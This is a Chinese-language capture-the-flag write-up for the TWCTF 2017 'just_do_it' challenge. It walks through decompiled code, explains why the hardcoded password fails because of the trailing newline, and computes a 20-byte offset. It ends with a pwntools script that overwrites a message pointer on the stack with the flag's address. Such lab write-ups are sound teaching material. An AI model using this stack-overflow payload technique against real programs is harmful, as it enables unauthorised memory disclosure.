栈溢出-TWCTF-2017-just_do_it

 1 int __cdecl main(int argc, const char **argv, const char **envp)
 2 {
 3   char s; // [esp+8h] [ebp-20h]
 4   FILE *stream; // [esp+18h] [ebp-10h]
 5   char *v6; // [esp+1Ch] [ebp-Ch]
 6 
 7   setvbuf(stdin, 0, 2, 0);
 8   setvbuf(stdout, 0, 2, 0);
 9   setvbuf(_bss_start, 0, 2, 0);
10   v6 = failed_message;
11   stream = fopen("flag.txt", "r");
12   if ( !stream )
13   {
14     perror("file open error.\n");
15     exit(0);
16   }
17   if ( !fgets(flag, 48, stream) )
18   {
19     perror("file read error.\n");
20     exit(0);
21   }
22   puts("Welcome my secret service. Do you know the password?");
23   puts("Input the password.");
24   if ( !fgets(&s, 32, stdin) )
25   {
26     perror("input error.\n");
27     exit(0);
28   }
29   if ( !strcmp(&s, PASSWORD) )
30     v6 = success_message;
31   puts(v6);
32   return 0;
33 }

打开IDA观察,第11-21行,是打开flag.txt文件并且通过fgets函数写入到全局变量flag中。

然后在第24行,接受输入。

最后是在29行,将接受的输入数据与PASSWORD进行比较,若一样则把v6赋值为success_message,然后用puts输出这段提示信息。

 

 有意思的是,可以在IDA中找到这个PASSWORD的值,为P@SSW0RD。但是实际当输入这个值时,还是提示密码不对。

 

 在pwngdb中调试才得知,fgets函数在接受完输入后,会在最后加一个\n,这样的话就无法和密码一样了。

实际上,就算是密码通过了,也只是获得提示成功的信息,还是无法得到flag的。这里只是想看看为何输入了IDA中的“正确”密码,但还是提示错误。

 再来看这一行,是把flag存放在了0x0804A080地址的内存中。也许可以把这个地址覆盖掉提示成功或者失败信息的栈帧,就可以输出这个flag了。

然后我们需要用pwngdb确定这个提示成功和失败信息的栈帧在哪个地方。

 

 观察main函数的栈,发现输入的数据存放在0xd078地址处,而提示成功和失败信息的地址为0xd08c.  

又因为8c-78=0x14(20)。没有超出fgets的32个最大字节的限制。那么现在,只需要填充20个字节数据,加上在IDA中找到的flag内存地址,就可以读出flag了。

1 from pwn import *
2 io=process('./just_do_it')
3 payload=b'A'*20+p32(0x804a080)
4 print(io.recv())
5 io.sendline(payload)
6 print(io.recv())

 

posted @ 2020-12-05 10:58  大金刚仔  阅读(237)  评论(0编辑  收藏  举报